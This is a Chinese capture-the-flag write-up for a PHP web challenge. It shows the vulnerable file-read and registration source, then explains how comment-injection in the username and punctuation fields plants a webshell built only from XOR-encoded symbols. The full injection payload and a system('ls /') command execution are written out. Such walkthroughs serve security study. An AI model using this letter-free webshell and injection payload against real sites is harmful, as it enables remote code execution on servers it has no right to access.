本题知识点

  • 无数字字母webshell

登入跟注册页面
70163-yoewucprif.png

注册个test用户

91388-yjqd56l9m6i.png

登入进去发现一个任意文件读取

09041-5oqfzeg7cr.png

先读取一下这个文件的源码

<?php
error_reporting(0); $image = (string)$_GET['image'];
echo '<div class="img"> <img src="data:image/png;base64,' . base64_encode(file_get_contents($image)) . '" /> </div>'; 
?>

然后读取一下index.php的源码,可以发现是将模板内容替换成用户注册的信息然后写入一个php文件

<?php  error_reporting(0);
if(isset($_POST['user']) && isset($_POST['pass'])) {
    
    $hash_user = md5($_POST['user']);
    $hash_pass = 'zsf'.md5($_POST['pass']);
    if(isset($_POST['punctuation'])) {
        
          if (strlen($_POST['user']) > 6)
          {
            echo("<script>alert('Username is too long!');</script>");
        }
        elseif(strlen($_POST['website']) > 25)
        {
            echo("<script>alert('Website is too long!');</script>");
        }
        elseif(strlen($_POST['punctuation']) > 1000)
        {
            echo("<script>alert('Punctuation is too long!');</script>");
        } else
        {
            if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0)
            {
                if (preg_match('/[^\w\/ \*:\.\;\(\)\n<>]/', $_POST['website']) === 0)
                {
                    $_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);
                    $template = file_get_contents('./template.html');
                    $content = str_replace("__USER__", $_POST['user'], $template);
                    $content = str_replace("__PASS__", $hash_pass, $content);
                    $content = str_replace("__WEBSITE__", $_POST['website'], $content);
                    $content = str_replace("__PUNC__", $_POST['punctuation'], $content);
                    file_put_contents('sandbox/'.$hash_user.'.php', $content);
                    echo("<script>alert('Successed!');</script>");
                } else {
                    echo("<script>alert('Invalid chars in website!');</script>");
                }
            }
            else
            {
                echo("<script>alert('Invalid chars in username!');</script>");
            }
        }
    } else {
        setcookie("user", $_POST['user'], time()+3600);
        setcookie("pass", $hash_pass, time()+3600);
        Header("Location:sandbox/$hash_user.php");
    }
}
?> 

看看/template.html内容,唯一需要关注的就是模板里面的php代码部分,__USER__等这些内容会被替换成我们的注册时候填写的内容

31839-zscui0cmdh9.png

我们首先构造user的内容,user的正则为

/[^\w\/\(\)\*<>]/

我们构造/*这样他替换内容为,把后面的内容注释掉了

<?php

    error_reporting(0);

    $user = ((string)/*);

    $pass = ((string)__PASS__);

    if(isset($_COOKIE['user']) && isset($_COOKIE['pass']) && $_COOKIE['user'] === $user && $_COOKIE['pass'] === $pass){

        echo($_COOKIE['user']);

    }

    else{

    die("<script>
alert('Permission denied!');</script>");

}


        ?>

47307-alm0pqrt4rv.png

punctuation刚好在user下面的位置

96812-tn25uezixwe.png

替换规则为,将所有字母数字替换为空

/[a-z,A-Z,0-9>\?]/

我们先构造闭合前面的注释

*/'');

现在代码为

37380-lx8hsmqu5ia.png

但是他替换了所有字母跟数字,这里我们使用无字符webshell

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

然后在将后面注释/*完整payload为

user=/*&pass=xxxx&punctuation=*/'');$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);/*&website=

在代码里面呈现的效果是这样的

78839-rycx702891k.png

然后访问

sandbox/523048e7f5ca9550505f2d8ea6d587e7.php

密码_直接执行命令即可

_=system('ls /');

得到flag然后去cat即可

98465-6sd132llno6.png

最后修改:2022 年 02 月 21 日
如果觉得我的文章对你有用,请随意赞赏